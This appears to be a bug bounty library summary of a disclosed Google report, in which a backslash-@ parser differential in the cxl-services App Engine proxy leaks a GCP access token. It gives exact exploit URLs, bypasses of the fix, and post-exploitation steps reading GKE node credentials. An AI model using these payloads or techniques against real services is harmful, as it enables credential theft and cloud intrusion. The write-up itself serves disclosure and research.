# URL whitelist bypass in https://cxl-services.appspot.com

URL whitelist bypass via \@ in cxl-services proxy leaked a GCP access token granting access to four internal projects and GKE node credentials.

- Payout: $4,134
- Severity: high
- Program: Google
- Credited: David Schütz
- Disclosed: 2021-11-17
- Write-up quality: 8/10
- Original: https://feed.bugs.xdavidhu.me/bugs/0008
- Library page: https://bugbountylibrary.com/r/blog%3Afeed-bugs-xdavidhu-me-bugs-0008
- Tags: domain:cloud impact:data-leak impact:internal-access kind:bounty platform:blog sev:high tech:gcp technique:incomplete-fix technique:legacy-endpoint technique:parser-differential vuln:auth-bypass vuln:ssrf

**Target:** App Engine proxy endpoint /proxy with url parameter
**Root cause:** Whitelist validation used the RFC3986 Appendix B regex which parses authority differently than the HTTP client; the client treats text before \@ as authority while the regex sees the whitelisted host after @.
**Steps:**
1. Set up HTTPS server logging request headers on attacker domain
2. Request `https://cxl-services.appspot.com/proxy?url=https://[your_domain]\@jobs.googleapis.com/`
3. Observe request to attacker server containing `authorization: Bearer [access-token]`
4. Use token against cloudresourcemanager, compute, appengine, storage APIs to enumerate projects docai-demo, cxl-services, garage-staging, p-jobs
5. Bypass fix with `https://[domain]\_@jobs.googleapis.com/` or `\anything@`
6. Bypass again via old App Engine version: `https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://[domain]\@jobs.googleapis.com/`
**How found:** Researcher recognized the whitelist likely used the RFC3986 Appendix B regex, which parses authority differently from the HTTP request library; hypothesized a parser differential around \@ and tested by pointing the proxy at a controlled HTTPS server to capture the Authorization header.
**Exploitation:** Anonymous attacker hosts a domain, crafts proxy URL with \@ trick so the backend sends its service-account bearer token to the attacker. Token then used read-only to enumerate GCP projects, list GCE instances, read kube-env metadata (KUBELET_CERT/KEY, CA_CERT), list storage buckets including request logs, and deploy a vrp-poc App Engine service proving full app control.
**Escalation:** Token granted access to four projects; from docai-demo GCE metadata extracted GKE node credentials; deployed new App Engine version to prove takeover of cxl-services; old unpatched App Engine versions remained reachable after fix.
**Insight:** When a proxy validates a URL then fetches it, test parser differentials between the validator's regex and the HTTP client's authority parsing: backslash-before-@, userinfo tricks, and old App Engine version hostnames that bypass the patched default version.
